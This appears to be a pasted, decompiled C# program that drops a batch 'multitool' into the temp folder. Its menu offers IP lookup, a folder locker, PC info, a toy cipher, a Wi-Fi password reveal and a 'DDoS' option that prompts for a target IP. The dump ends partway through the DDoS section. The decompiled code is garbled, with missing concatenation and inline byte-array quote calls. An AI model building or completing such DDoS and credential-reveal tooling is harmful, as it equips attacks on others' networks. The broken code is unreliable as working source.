· 4 years ago · Jun 18, 2021, 08:42 AM
1using System;
2using System.Diagnostics;
3using System.IO;
4using System.Text;
5using Microsoft.VisualBasic.CompilerServices;
6[StandardModule]
7internal sealed class BtE
8{
9 [STAThread]
10 public static void Main()
11 {
12 if (File.Exists(Environment.GetEnvironmentVariable("TMP")"\\cmd.bat"))
13 {
14 File.Delete(Environment.GetEnvironmentVariable("TMP")"\\cmd.bat");
15 }
16 File.WriteAllText(Environment.GetEnvironmentVariable("TMP")"\\cmd.bat", "@echo off"
17"@mode con cols=66 lines=39"
18"chcp 65001 >nul"
19""
20""
21":login"
22"cls"
23"color a"
24"title *ZayyNsMultiTool* v0.2"
25"echo."
26"echo."
27"echo Date: [%date%]"
28"echo Time: [%time%]"
29"echo."
30"echo Developed by"
31"echo."
32"echo @@@@@@@@@ @@@@ @@@ "
33"echo @@@ @@@@@ @@@ "
34"echo @@@ @@@@@@@@ @@@ @@@ @@@ @@@ @@ @@@ @@@ "
35"echo @@@ @@@ @@@ @@@ @@@ @@@ @@ @@@ @@@ "
36"echo @@@ @@@@@@@@ @@@ @@@ @@@ @@@ @@ @@@@@@ "
37"echo @@@ @@@@ @@@ @@@@@@ @@@@@@ @@ @@@@@ "
38"echo @@@@@@@@@ @@@@@@@@@ @@@@@ @@@@ @@ @@@ "
39"echo @@@ @@@ "
40"echo @@@ @@@ "
41"echo @@ @@ ZayyN_#2829"
42"echo (discord) "
43"echo ------------------------------------------------------------------"
44"echo."
45"echo #################"
46"echo # #"
47"echo # Please login #"
48"echo # #"
49"echo #################"
50"echo. "
51"set /p user=Username:"
52"set /p pass=Password:"
53"if %user% == Admin if %pass% == 1337 goto Admin"
54"if %user% == Guest if %pass% == 1234 goto Guest"
55"color c"
56"echo."
57"echo."
58"echo."
59"echo."
60"echo !!! Incorrect username or password try it again !!!"
61"timeout 4 >nul"
62"cls"
63"goto login"
64""
65":Guest"
66"color a"
67"@mode con cols=84 lines=39"
68"cls "
69"title /ZayyNsMultiTool/ v0.2"
70"echo."
71"echo @@@@@ @@@@@ @@ @@ @@ @@@ @@@ "
72"echo @@@@@@ @@@@@@ @@@ @@@ @@ @@@@@@ @@@@@@ @@@@@@ @@@@@@@ @@@ "
73"echo @@@ @@@@@ @@@ @@@ @@@@ @@ @@@ @@ @@@@ @@@@ @@@ @@@ @@@@ @@@ "
74"echo @@@ @@@@ @@@ @@@ @@@@ @@ @@@ @@ @@@@ @@@ @@@@ @@@ @@@ @@@ "
75"echo @@@ @@@ @@@ @@@@@@@@@ @@ @@@@@ @@ @@@@ @@@@@@@@ @@@@@@@ @@@ "
76"echo."
77"echo Logged in as %user% (limited permissions)"
78"echo Type [logout] to log out"
79"echo."
80"echo #############################"
81"echo # # Date: [%date%]"
82"echo # 1.) Pinger # Time: [%time%]"
83"echo # 2.) Ip lookup #"
84"echo # 3.) PC info #"
85"echo # 4.) DDoS #"
86"echo # 5.) Cache cleaner #"
87"echo # 6.) Shutdown timer #"
88"echo # #"
89"echo #############################"
90"echo."
91"echo Enter option [1-6] ..."
92"set /p main="
93"if %main% == 1 goto ippingertool"
94"if %main% == 2 goto iplookuptool"
95"if %main% == 3 goto computerinfo"
96"if %main% == 4 goto ddostool"
97"if %main% == 5 goto cachecleanertool"
98"if %main% == 6 goto shutdowntimertool"
99""
100"if %main% == logout goto login"
101"if %main% == Logout goto login"
102"cls"
103"goto Guest"
104""
105":Admin"
106"color a"
107"@mode con cols=84 lines=39"
108"cls "
109"title /ZayyNsMultiTool/ v0.2"
110"echo."
111"echo @@@@@ @@@@@ @@ @@ @@ @@@ @@@ "
112"echo @@@@@@ @@@@@@ @@@ @@@ @@ @@@@@@ @@@@@@ @@@@@@ @@@@@@@ @@@ "
113"echo @@@ @@@@@ @@@ @@@ @@@@ @@ @@@ @@ @@@@ @@@@ @@@ @@@ @@@@ @@@ "
114"echo @@@ @@@@ @@@ @@@ @@@@ @@ @@@ @@ @@@@ @@@ @@@@ @@@ @@@ @@@ "
115"echo @@@ @@@ @@@ @@@@@@@@@ @@ @@@@@ @@ @@@@ @@@@@@@@ @@@@@@@ @@@ "
116"echo."
117"echo Logged in as %user%"
118"echo Type [logout] to log out"
119"echo."
120"echo #############################"
121"echo # # Date: [%date%]"
122"echo # 1.) Pinger # Time: [%time%]"
123"echo # 2.) Ip lookup #"
124"echo # 3.) Locked folder #"
125"echo # 4.) PC info #"
126"echo # 5.) Text Encrypt #"
127"echo # 6.) Text Decrypt #"
128"echo # 7.) DDoS #"
129"echo # 8.) Cache cleaner #"
130"echo # 9.) Wifi Password reveal #"
131"echo # 10.) Shutdown timer #"
132"echo # #"
133"echo #############################"
134"echo."
135"echo Enter option [1-10] ..."
136"set /p main="
137"if %main% == 1 goto ippingertool"
138"if %main% == 2 goto iplookuptool"
139"if %main% == 3 goto locker"
140"if %main% == 4 goto computerinfo"
141"if %main% == 5 goto textencrypttool"
142"if %main% == 6 goto textdecrypttool"
143"if %main% == 7 goto ddostool"
144"if %main% == 8 goto cachecleanertool"
145"if %main% == 9 goto wifipass"
146"if %main% == 10 goto shutdowntimertool"
147""
148"if %main% == logout goto login"
149"if %main% == Logout goto login"
150"cls"
151"goto Admin"
152""
153""
154""
155""
156""
157":ippingertool"
158"@echo off"
159"Title /ZayyNsPINGER/"
160"color a"
161"cls"
162"mode con lines=15 cols=110"
163":reboot"
164"color a"
165"echo I===============================I"
166"echo ZayyNs IP PINGER "
167"echo I===============================I"
168"set /p IP=Enter ip or url:"
169":ping"
170"color a"
171"PING -n 1 %IP% | FIND "Encoding.ASCII.GetString(new byte[1]
172 {
173 34
174 })"TTL="Encoding.ASCII.GetString(new byte[1]
175 {
176 34
177 })""
178"IF ERRORLEVEL 1 (SET in=c & goto offline)"
179"ping -t 2 0 10 127.0.0.1 >nul"
180"pause"
181"goto %user%"
182":offline"
183"cls"
184"color c"
185"echo Server or Client is OFFLINE !"
186"pause"
187"cls"
188"goto %user%"
189""
190""
191""
192""
193":iplookuptool"
194"@echo off"
195"title /ZayyNsIPLookup/"
196"color a"
197"mode con lines=12 cols=70"
198"setlocal ENABLEDELAYEDEXPANSION"
199"set webclient=webclient"
200"del "Encoding.ASCII.GetString(new byte[1]
201 {
202 34
203 })"%temp%\\%webclient%.vbs"Encoding.ASCII.GetString(new byte[1]
204 {
205 34
206 })" /f /q /s >nul"
207"del "Encoding.ASCII.GetString(new byte[1]
208 {
209 34
210 })"%temp%\\response.txt"Encoding.ASCII.GetString(new byte[1]
211 {
212 34
213 })" /f /q /s >nul"
214":menu"
215"cls"
216"title /ZayyNsIPLookup/"
217"echo."
218"echo."
219"echo."
220"echo."
221"echo."
222"echo."
223"echo. What are you want to do?"
224"echo."
225"echo Watch my own IP: (1)"
226"echo Watch someone else IP: (2)"
227"echo Back to menu: (3)"
228"echo."
229"echo."
230"echo."
231"echo."
232"goto action"
233":input"
234"echo."
235"echo Write an actual number!"
236"echo."
237":action"
238"echo."
239"set /p action=Type your choice. 1,2,3: "
240"if '%action%'=='1' echo sUrl = "Encoding.ASCII.GetString(new byte[1]
241 {
242 34
243 })"http://ipinfo.io/json"Encoding.ASCII.GetString(new byte[1]
244 {
245 34
246 })" > %temp%\\%webclient%.vbs & goto localip"
247"if '%action%'=='2' goto iplookup"
248"if '%action%'=='3' goto %user%"
249"goto input"
250":iplookup"
251"color a"
252"cls"
253"echo."
254"echo Write the IP!"
255"echo."
256"set ip=127.0.0.1"
257"set /p ip=IP: "
258"echo sUrl = "Encoding.ASCII.GetString(new byte[1]
259 {
260 34
261 })"http://ipinfo.io/%ip%/json"Encoding.ASCII.GetString(new byte[1]
262 {
263 34
264 })" > %temp%\\%webclient%.vbs"
265":localip"
266"cls"
267"echo set oHTTP = CreateObject("Encoding.ASCII.GetString(new byte[1]
268 {
269 34
270 })"MSXML2.ServerXMLHTTP.6.0"Encoding.ASCII.GetString(new byte[1]
271 {
272 34
273 })") >> %temp%\\%webclient%.vbs"
274"echo oHTTP.open "Encoding.ASCII.GetString(new byte[1]
275 {
276 34
277 })"GET"Encoding.ASCII.GetString(new byte[1]
278 {
279 34
280 })", sUrl,false >> %temp%\\%webclient%.vbs"
281"echo oHTTP.setRequestHeader "Encoding.ASCII.GetString(new byte[1]
282 {
283 34
284 })"Content-Type"Encoding.ASCII.GetString(new byte[1]
285 {
286 34
287 })", "Encoding.ASCII.GetString(new byte[1]
288 {
289 34
290 })"application/x-www-form-urlencoded"Encoding.ASCII.GetString(new byte[1]
291 {
292 34
293 })" >> %temp%\\%webclient%.vbs"
294"echo oHTTP.setRequestHeader "Encoding.ASCII.GetString(new byte[1]
295 {
296 34
297 })"Content-Length"Encoding.ASCII.GetString(new byte[1]
298 {
299 34
300 })", Len(sRequest) >> %temp%\\%webclient%.vbs"
301"echo oHTTP.send sRequest >> %temp%\\%webclient%.vbs"
302"echo HTTPGET = oHTTP.responseText >> %temp%\\%webclient%.vbs"
303"echo strDirectory = "Encoding.ASCII.GetString(new byte[1]
304 {
305 34
306 })"%temp%\\response.txt"Encoding.ASCII.GetString(new byte[1]
307 {
308 34
309 })" >> %temp%\\%webclient%.vbs"
310"echo set objFSO = CreateObject("Encoding.ASCII.GetString(new byte[1]
311 {
312 34
313 })"Scripting.FileSystemObject"Encoding.ASCII.GetString(new byte[1]
314 {
315 34
316 })") >> %temp%\\%webclient%.vbs"
317"echo set objFile = objFSO.CreateTextFile(strDirectory) >> %temp%\\%webclient%.vbs"
318"echo objFile.Write(HTTPGET) >> %temp%\\%webclient%.vbs"
319"echo objFile.Close >> %temp%\\%webclient%.vbs"
320"rem echo Msgbox HTTPGET,vbSystemModal+vbOKOnly+vbInformation, "Encoding.ASCII.GetString(new byte[1]
321 {
322 34
323 })"IP Info"Encoding.ASCII.GetString(new byte[1]
324 {
325 34
326 })" >> %temp%\\%webclient%.vbs"
327"echo Wscript.Quit >> %temp%\\%webclient%.vbs"
328"start %temp%\\%webclient%.vbs"
329"set /a requests=0"
330"echo."
331"rem echo wait for API's answer. . ."
332"echo Searching. . ."
333":checkresponseexists"
334"set /a requests=%requests%1"
335"if %requests% gtr 7 goto failed"
336"IF EXIST "Encoding.ASCII.GetString(new byte[1]
337 {
338 34
339 })"%temp%\\response.txt"Encoding.ASCII.GetString(new byte[1]
340 {
341 34
342 })" ("
343"goto response_exist"
344") ELSE ("
345"ping 127.0.0.1 -n 2 -w 1000 >nul"
346"goto checkresponseexists"
347")"
348":failed"
349"color c"
350"taskkill /f /im wscript.exe >nul"
351"del "Encoding.ASCII.GetString(new byte[1]
352 {
353 34
354 })"%temp%\\%webclient%.vbs"Encoding.ASCII.GetString(new byte[1]
355 {
356 34
357 })" /f /q /s >nul"
358"echo."
359"echo We dont got answer API."
360"echo."
361"pause"
362"goto menu"
363":response_exist"
364"cls"
365"echo."
366"for /f "Encoding.ASCII.GetString(new byte[1]
367 {
368 34
369 })"delims= \t"Encoding.ASCII.GetString(new byte[1]
370 {
371 34
372 })" %%i in ('findstr /i "Encoding.ASCII.GetString(new byte[1]
373 {
374 34
375 })"ip hostname city region country loc org postal"Encoding.ASCII.GetString(new byte[1]
376 {
377 34
378 })" %temp%\\response.txt') do ("
379"\tset data=%%i"
380"\tset data=!data:,=!"
381"\tset data=!data:"Encoding.ASCII.GetString(new byte[1]
382 {
383 34
384 })""Encoding.ASCII.GetString(new byte[1]
385 {
386 34
387 })"=Not Listed!"
388"\tset data=!data:"Encoding.ASCII.GetString(new byte[1]
389 {
390 34
391 })"=!"
392"\tset data=!data:ip:=\u001b[40;31mIP:\t\t!"
393"\tset data=!data:hostname:=\u001b[40;32mHostname:\t!"
394"\tset data=!data:city:=\u001b[40;33mCity:\t\t!"
395"\tset data=!data:region:=\u001b[40;34mState:\t!"
396"\tset data=!data:country:=\u001b[40;35mCountry:\t!"
397"\tset data=!data:loc:=\u001b[40;36mLocation:\t!"
398"\tset data=!data:org:=\u001b[40;37mISP:\t\t!"
399"\tset data=!data:postal:=\u001b[40;31mPostal:\t!"
400"\techo \u001b[40;31m!data!"
401")"
402"echo."
403"del "Encoding.ASCII.GetString(new byte[1]
404 {
405 34
406 })"%temp%\\%webclient%.vbs"Encoding.ASCII.GetString(new byte[1]
407 {
408 34
409 })" /f /q /s >nul"
410"del "Encoding.ASCII.GetString(new byte[1]
411 {
412 34
413 })"%temp%\\response.txt"Encoding.ASCII.GetString(new byte[1]
414 {
415 34
416 })" /f /q /s >nul"
417"pause"
418"if '%ip%'=='' goto menu"
419"goto iplookup"
420"exit"
421""
422""
423""
424":locker"
425"@echo off"
426"color a"
427"title Folder Locker by ZayyN"
428"if EXIST "Encoding.ASCII.GetString(new byte[1]
429 {
430 34
431 })"Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"Encoding.ASCII.GetString(new byte[1]
432 {
433 34
434 })" goto UNLOCK"
435"if NOT EXIST Locker goto MDLOCKER"
436":CONFIRM"
437"echo Are you sure u want to Lock the folder(Y/N)"
438"set/p "Encoding.ASCII.GetString(new byte[1]
439 {
440 34
441 })"cho=>"Encoding.ASCII.GetString(new byte[1]
442 {
443 34
444 })""
445"if %cho%==Y goto LOCK"
446"if %cho%==y goto LOCK"
447"if %cho%==n goto END"
448"if %cho%==N goto END"
449"echo Invalid choice."
450"timeout 2 >nul"
451"goto CONFIRM"
452":LOCK"
453"ren Locker "Encoding.ASCII.GetString(new byte[1]
454 {
455 34
456 })"Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"Encoding.ASCII.GetString(new byte[1]
457 {
458 34
459 })""
460"attrib +h +s "Encoding.ASCII.GetString(new byte[1]
461 {
462 34
463 })"Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"Encoding.ASCII.GetString(new byte[1]
464 {
465 34
466 })""
467"echo Folder locked"
468"timeout 2 >nul"
469"goto End"
470":UNLOCK"
471"echo Enter password to Unlock folder..."
472"set/p "Encoding.ASCII.GetString(new byte[1]
473 {
474 34
475 })"pass=>"Encoding.ASCII.GetString(new byte[1]
476 {
477 34
478 })""
479"if NOT %pass%==1337 goto FAIL"
480"attrib -h -s "Encoding.ASCII.GetString(new byte[1]
481 {
482 34
483 })"Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"Encoding.ASCII.GetString(new byte[1]
484 {
485 34
486 })""
487"ren "Encoding.ASCII.GetString(new byte[1]
488 {
489 34
490 })"Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"Encoding.ASCII.GetString(new byte[1]
491 {
492 34
493 })" Locker"
494"echo Folder Unlocked successfully..."
495"timeout 2 >nul"
496"goto End"
497":FAIL"
498"echo Invalid password "
499"timeout 2 >nul"
500"goto end"
501":MDLOCKER"
502"md Locker"
503"echo Locker created successfully"
504"timeout 2 >nul"
505"goto End"
506":End"
507"goto %user%"
508""
509""
510""
511""
512":computerinfo"
513"@echo off"
514"title PC info"
515"color a"
516"if %os%==Windows_NT goto WINNT"
517"goto NOCON"
518""
519":WINNT"
520"echo .Using a Windows NT based system"
521"echo ..%computername%"
522""
523"REM set variables"
524"set system="
525"set manufacturer="
526"set model="
527"set serialnumber="
528"set osname="
529"set sp="
530"setlocal ENABLEDELAYEDEXPANSION"
531"set "Encoding.ASCII.GetString(new byte[1]
532 {
533 34
534 })"volume=C:"Encoding.ASCII.GetString(new byte[1]
535 {
536 34
537 })""
538"set totalMem="
539"set availableMem="
540"set usedMem="
541""
542"echo Getting data [Computer: %computername%]..."
543"echo Please Wait...."
544""
545"REM Get Computer Name"
546"FOR /F "Encoding.ASCII.GetString(new byte[1]
547 {
548 34
549 })"tokens=2 delims='='"Encoding.ASCII.GetString(new byte[1]
550 {
551 34
552 })" %%A in ('wmic OS Get csname /value') do SET system=%%A"
553""
554"REM Get Computer Manufacturer"
555"FOR /F "Encoding.ASCII.GetString(new byte[1]
556 {
557 34
558 })"tokens=2 delims='='"Encoding.ASCII.GetString(new byte[1]
559 {
560 34
561 })" %%A in ('wmic ComputerSystem Get Manufacturer /value') do SET manufacturer=%%A"
562""
563"REM Get Computer Model"
564"FOR /F "Encoding.ASCII.GetString(new byte[1]
565 {
566 34
567 })"tokens=2 delims='='"Encoding.ASCII.GetString(new byte[1]
568 {
569 34
570 })" %%A in ('wmic ComputerSystem Get Model /value') do SET model=%%A"
571""
572"REM Get Computer Serial Number"
573"FOR /F "Encoding.ASCII.GetString(new byte[1]
574 {
575 34
576 })"tokens=2 delims='='"Encoding.ASCII.GetString(new byte[1]
577 {
578 34
579 })" %%A in ('wmic Bios Get SerialNumber /value') do SET serialnumber=%%A"
580""
581"REM Get Computer OS"
582"FOR /F "Encoding.ASCII.GetString(new byte[1]
583 {
584 34
585 })"tokens=2 delims='='"Encoding.ASCII.GetString(new byte[1]
586 {
587 34
588 })" %%A in ('wmic os get Name /value') do SET osname=%%A"
589"FOR /F "Encoding.ASCII.GetString(new byte[1]
590 {
591 34
592 })"tokens=1 delims='|'"Encoding.ASCII.GetString(new byte[1]
593 {
594 34
595 })" %%A in ("Encoding.ASCII.GetString(new byte[1]
596 {
597 34
598 })"%osname%"Encoding.ASCII.GetString(new byte[1]
599 {
600 34
601 })") do SET osname=%%A"
602""
603"REM Get Computer OS SP"
604"FOR /F "Encoding.ASCII.GetString(new byte[1]
605 {
606 34
607 })"tokens=2 delims='='"Encoding.ASCII.GetString(new byte[1]
608 {
609 34
610 })" %%A in ('wmic os get ServicePackMajorVersion /value') do SET sp=%%A"
611""
612"REM Get Memory"
613"FOR /F "Encoding.ASCII.GetString(new byte[1]
614 {
615 34
616 })"tokens=4"Encoding.ASCII.GetString(new byte[1]
617 {
618 34
619 })" %%a in ('systeminfo ^| findstr Physical') do if defined totalMem (set availableMem=%%a) else (set totalMem=%%a)"
620"set totalMem=%totalMem:,=%"
621"set availableMem=%availableMem:,=%"
622"set /a usedMem=totalMem-availableMem"
623""
624"FOR /f "Encoding.ASCII.GetString(new byte[1]
625 {
626 34
627 })"tokens=1*delims=:"Encoding.ASCII.GetString(new byte[1]
628 {
629 34
630 })" %%i IN ('fsutil volume diskfree %volume%') DO ("
631" SET "Encoding.ASCII.GetString(new byte[1]
632 {
633 34
634 })"diskfree=!disktotal!"Encoding.ASCII.GetString(new byte[1]
635 {
636 34
637 })""
638" SET "Encoding.ASCII.GetString(new byte[1]
639 {
640 34
641 })"disktotal=!diskavail!"Encoding.ASCII.GetString(new byte[1]
642 {
643 34
644 })""
645" SET "Encoding.ASCII.GetString(new byte[1]
646 {
647 34
648 })"diskavail=%%j"Encoding.ASCII.GetString(new byte[1]
649 {
650 34
651 })""
652")"
653"FOR /f "Encoding.ASCII.GetString(new byte[1]
654 {
655 34
656 })"tokens=1,2"Encoding.ASCII.GetString(new byte[1]
657 {
658 34
659 })" %%i IN ("Encoding.ASCII.GetString(new byte[1]
660 {
661 34
662 })"%disktotal% %diskavail%"Encoding.ASCII.GetString(new byte[1]
663 {
664 34
665 })") DO SET "Encoding.ASCII.GetString(new byte[1]
666 {
667 34
668 })"disktotal=%%i"Encoding.ASCII.GetString(new byte[1]
669 {
670 34
671 })"& SET "Encoding.ASCII.GetString(new byte[1]
672 {
673 34
674 })"diskavail=%%j"Encoding.ASCII.GetString(new byte[1]
675 {
676 34
677 })""
678"cls"
679""
680"echo done!"
681""
682"echo --------------------------------------------"
683"echo System Name: %system%"
684"echo Manufacturer: %manufacturer%"
685"echo Model: %model%"
686"echo Serial Number: %serialnumber%"
687"echo Operating System: %osname%"
688"echo C:\\ Total: %disktotal:~0,-9% GB"
689"echo C:\\ Avail: %diskavail:~0,-9% GB"
690"echo Total Memory: %totalMem%"
691"echo Used Memory: %usedMem%"
692"echo Computer Processor: %processor_architecture%"
693"echo Service Pack: %sp%"
694"echo --------------------------------------------"
695""
696"REM Generate file"
697"SET file="Encoding.ASCII.GetString(new byte[1]
698 {
699 34
700 })"%~dp0%computername%.txt"Encoding.ASCII.GetString(new byte[1]
701 {
702 34
703 })""
704"echo -------------------------------------------- >> %file%"
705"echo Details For: %system% >> %file%"
706"echo Manufacturer: %manufacturer% >> %file%"
707"echo Model: %model% >> %file%"
708"echo Serial Number: %serialnumber% >> %file%"
709"echo Operating System: %osname% >> %file%"
710"echo C:\\ Total: %disktotal:~0,-9% GB >> %file%"
711"echo C:\\ Avail: %diskavail:~0,-9% GB >> %file%"
712"echo Total Memory: %totalMem% >> %file%"
713"echo Used Memory: %usedMem% >> %file%"
714"echo Computer Processor: %processor_architecture% >> %file%"
715"echo Service Pack: %sp% >> %file%"
716"echo -------------------------------------------- >> %file%"
717""
718"REM request user to push any key to continue"
719"pause"
720""
721"goto END"
722""
723":NOCON"
724"echo Error...Invalid Operating System..."
725"echo Error...No actions were made..."
726"timeout 2 >nul"
727"goto END"
728""
729":END"
730"goto %user%"
731""
732""
733""
734":textencrypttool"
735"cls"
736"@echo off"
737"setlocal ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION"
738"title Encrypt"
739"color a"
740":mainmenu"
741"set savefile=on"
742"::set Encrypt=Nothing"
743"(set CHAR[a]=UDFM45) & (set CHAR[b]=H21DGF) & (set CHAR[c]=FDH56D) & (set CHAR[d]=FGS546) & (set CHAR[e]=JUK4JH)"
744"(set CHAR[f]=ERG54S) & (set CHAR[g]=T5H4FD) & (set CHAR[h]=RG641G) & (set CHAR[i]=RG4F4D) & (set CHAR[j]=RT56F6)"
745"(set CHAR[k]=VCBC3B) & (set CHAR[l]=F8G9GF) & (set CHAR[m]=FD4CJS) & (set CHAR[n]=G423FG) & (set CHAR[o]=F45GC2)"
746"(set CHAR[p]=TH5DF5) & (set CHAR[q]=CV4F6R) & (set CHAR[r]=XF64TS) & (set CHAR[s]=X78DGT) & (set CHAR[t]=TH74SJ)"
747"(set CHAR[u]=BCX6DF) & (set CHAR[v]=FG65SD) & (set CHAR[w]=4KL45D) & (set CHAR[x]=GFH3F2) & (set CHAR[y]=GH56GF)"
748"(set CHAR[z]=45T1FG) & (set CHAR[1]=D4G23D) & (set CHAR[2]=GB56FG) & (set CHAR[3]=SF45GF) & (set CHAR[4]=P4FF12)"
749"(set CHAR[5]=F6DFG1) & (set CHAR[6]=56FG4G) & (set CHAR[7]=USGFDG) & (set CHAR[8]=FKHFDG) & (set CHAR[9]=IFGJH6)"
750"(set CHAR[0]=87H8G7) & (set CHAR[@]=G25GHF) & (set CHAR[#]=45FGFH) & (set CHAR[$]=75FG45) & (set CHAR[*]=54GDH5)"
751"(set CHAR[(]=45F465) & (set CHAR[.]=HG56FG) & (set CHAR[,]=DF56H4) & (set CHAR[-]=F5JHFH) & (set CHAR[ ]=SGF4HF)"
752"(set CHAR[\\]=45GH45) & (set CHAR[/]=56H45G)"
753"echo Enter a text to encrypt:"
754"set /p Encrypt="
755"cls"
756"set Encrypt2=%Encrypt%"
757"set "Encoding.ASCII.GetString(new byte[1]
758 {
759 34
760 })"EncryptOut="Encoding.ASCII.GetString(new byte[1]
761 {
762 34
763 })""
764":encrypt2"
765"set char=%Encrypt2:~0,1%"
766"set Encrypt2=%Encrypt2:~1%"
767"set EncryptOut=%EncryptOut%!CHAR[%char%]!"
768"if not "Encoding.ASCII.GetString(new byte[1]
769 {
770 34
771 })"%Encrypt2%"Encoding.ASCII.GetString(new byte[1]
772 {
773 34
774 })"=="Encoding.ASCII.GetString(new byte[1]
775 {
776 34
777 })""Encoding.ASCII.GetString(new byte[1]
778 {
779 34
780 })" goto encrypt2"
781"echo Input string: %Encrypt%"
782"echo."
783"echo Output string: %EncryptOut%"
784"set string=%EncryptOut%"
785"set temp_str=%string%"
786"set str_len=0"
787":lengthloop"
788"if defined temp_str ("
789"set temp_str=%temp_str:~1%"
790"set /A str_len += 1"
791"goto lengthloop )"
792"echo."
793"echo Output string is %str_len% characters long!"
794"if "Encoding.ASCII.GetString(new byte[1]
795 {
796 34
797 })"%savefile%"Encoding.ASCII.GetString(new byte[1]
798 {
799 34
800 })"=="Encoding.ASCII.GetString(new byte[1]
801 {
802 34
803 })"on"Encoding.ASCII.GetString(new byte[1]
804 {
805 34
806 })" echo.%EncryptOut%>>%~d0%~p0encrypted.txt"
807"echo."
808"pause"
809"cls"
810"goto %user%"
811""
812""
813""
814":textdecrypttool"
815"cls"
816"@echo off"
817"setlocal ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION"
818"title Decrypt"
819"color a"
820":mainmenu"
821"set savefile=on"
822"::set Decrypt=Nothing"
823"(set CHAR[UDFM45]=a) & (set CHAR[H21DGF]=b) & (set CHAR[FDH56D]=c) & (set CHAR[FGS546]=d) & (set CHAR[JUK4JH]=e)"
824"(set CHAR[ERG54S]=f) & (set CHAR[T5H4FD]=g) & (set CHAR[RG641G]=h) & (set CHAR[RG4F4D]=i) & (set CHAR[RT56F6]=j)"
825"(set CHAR[VCBC3B]=k) & (set CHAR[F8G9GF]=l) & (set CHAR[FD4CJS]=m) & (set CHAR[G423FG]=n) & (set CHAR[F45GC2]=o)"
826"(set CHAR[TH5DF5]=p) & (set CHAR[CV4F6R]=q) & (set CHAR[XF64TS]=r) & (set CHAR[X78DGT]=s) & (set CHAR[TH74SJ]=t)"
827"(set CHAR[BCX6DF]=u) & (set CHAR[FG65SD]=v) & (set CHAR[4KL45D]=w) & (set CHAR[GFH3F2]=x) & (set CHAR[GH56GF]=y)"
828"(set CHAR[45T1FG]=z) & (set CHAR[D4G23D]=1) & (set CHAR[GB56FG]=2) & (set CHAR[SF45GF]=3) & (set CHAR[P4FF12]=4)"
829"(set CHAR[F6DFG1]=5) & (set CHAR[56FG4G]=6) & (set CHAR[USGFDG]=7) & (set CHAR[FKHFDG]=8) & (set CHAR[IFGJH6]=9)"
830"(set CHAR[87H8G7]=0) & (set CHAR[G25GHF]=@) & (set CHAR[45FGFH]=#) & (set CHAR[75FG45]=$) & (set CHAR[54GDH5]=*)"
831"(set CHAR[45F465]=() & (set CHAR[HG56FG]=.) & (set CHAR[DF56H4]=,) & (set CHAR[F5JHFH]=-) & (set CHAR[SGF4HF]= )"
832"(set CHAR[45GH45]=\\) & (set CHAR[56H45G]=/)"
833"echo Enter a text to decrypt:"
834"set /p Decrypt="
835"cls"
836"set Decrypt2=%Decrypt%"
837"set "Encoding.ASCII.GetString(new byte[1]
838 {
839 34
840 })"DecryptOut="Encoding.ASCII.GetString(new byte[1]
841 {
842 34
843 })""
844":decrypt2"
845"set char=%Decrypt2:~0,6%"
846"set Decrypt2=%Decrypt2:~6%"
847"set DecryptOut=%DecryptOut%!CHAR[%char%]!"
848"if not "Encoding.ASCII.GetString(new byte[1]
849 {
850 34
851 })"%Decrypt2%"Encoding.ASCII.GetString(new byte[1]
852 {
853 34
854 })"=="Encoding.ASCII.GetString(new byte[1]
855 {
856 34
857 })""Encoding.ASCII.GetString(new byte[1]
858 {
859 34
860 })" goto decrypt2"
861"echo Input string: %Decrypt%"
862"echo."
863"echo Output string: %DecryptOut%"
864"set string=%DecryptOut%"
865"set temp_str=%string%"
866"set str_len=0"
867":lengthloop"
868"if defined temp_str ("
869"set temp_str=%temp_str:~1%"
870"set /A str_len += 1"
871"goto lengthloop )"
872"echo."
873"echo Output string is %str_len% characters long!"
874"if "Encoding.ASCII.GetString(new byte[1]
875 {
876 34
877 })"%savefile%"Encoding.ASCII.GetString(new byte[1]
878 {
879 34
880 })"=="Encoding.ASCII.GetString(new byte[1]
881 {
882 34
883 })"on"Encoding.ASCII.GetString(new byte[1]
884 {
885 34
886 })" echo.%DecryptOut%>>%~d0%~p0decrypted.txt"
887"echo."
888"pause"
889"cls"
890"goto %user%"
891""
892""
893""
894":ddostool"
895"@mode con cols=115 lines=22"
896"title DDoS"
897""
898"set "Encoding.ASCII.GetString(new byte[1]
899 {
900 34
901 })"DIR=C:\\Users\\%username%\\AppData\\Local\\Temp\\DDoS"Encoding.ASCII.GetString(new byte[1]
902 {
903 34
904 })""
905""
906"if exist %DIR% goto skipmd"
907"md %DIR%"
908""
909":skipmd"
910"cd %DIR%"
911"goto init"
912""
913":start"
914"set "Encoding.ASCII.GetString(new byte[1]
915 {
916 34
917 })"o= "Encoding.ASCII.GetString(new byte[1]
918 {
919 34
920 })""
921"DEL /F /Q /S *.bat *.dat"
922"color a"
923"@echo off"
924"cls"
925"echo. "
926"echo. "
927"echo @@@@@@@@@@@@@ @@@@@@@@@@@@ @@@@@@@@@@ "
928"echo @@@@ @@@@@@ @@@@ @@@@@@ @@@@@ @@ "
929"echo @@@@ @@@@@ @@@@ @@@@@ @@@@@@@@ @@@@ "
930"echo @@@@ @@@@ @@@@ @@@@ @@@@@@@@@@@@ @@@@@@ "
931"echo @@@@ @@@@ @@@@ @@@@ @@@@ @@@@ @@@@@@@@@ "
932"echo @@@@ @@@@ @@@@ @@@@ @@@ @@@@ @@@@@@ "
933"echo @@@@ @@@@@ @@@@ @@@@@ @@@@ @@@@ @@@@ "
934"echo @@@@ @@@@@@ @@@@ @@@@@@ @@@@ @@@@@ @@ @@@@@ "
935"echo @@@@@@@@@@@@@ @@@@@@@@@@@@ @@@@@@@@@@ @@@@@@@@@@ "
936"echo. "
937"echo Main menu (Back)"
938"echo."
939"set /p ip= IP to target:"
940"if %ip% == Back goto %user%"
941"if %ip% == back goto %user%"
942""
943"echo Validating IP.."
944"ping %ip% -l 32 -t -n 1 >> %DIR%\\text.dat -n 1"
945">nul find "Encoding.ASCII.GetString(new byte[1]
946 {
947 34
948 })"Please check the name and try again."Encoding.ASCII.GetString(new byte[1]
949 {
950 34
951 })" %DIR%\\text.dat && ("
952" goto invalidip"
953") || ("
954" goto validip2"
955")"
956":validip2"
957">nul find "Encoding.ASCII.GetString(new byte[1]
958 {
959 34
960 })"Destination host unreachable."Encoding.ASCII.GetString(new byte[1]
961 {
962 34
963 })" %DIR%\\text.dat && ("
964" goto invalidip"
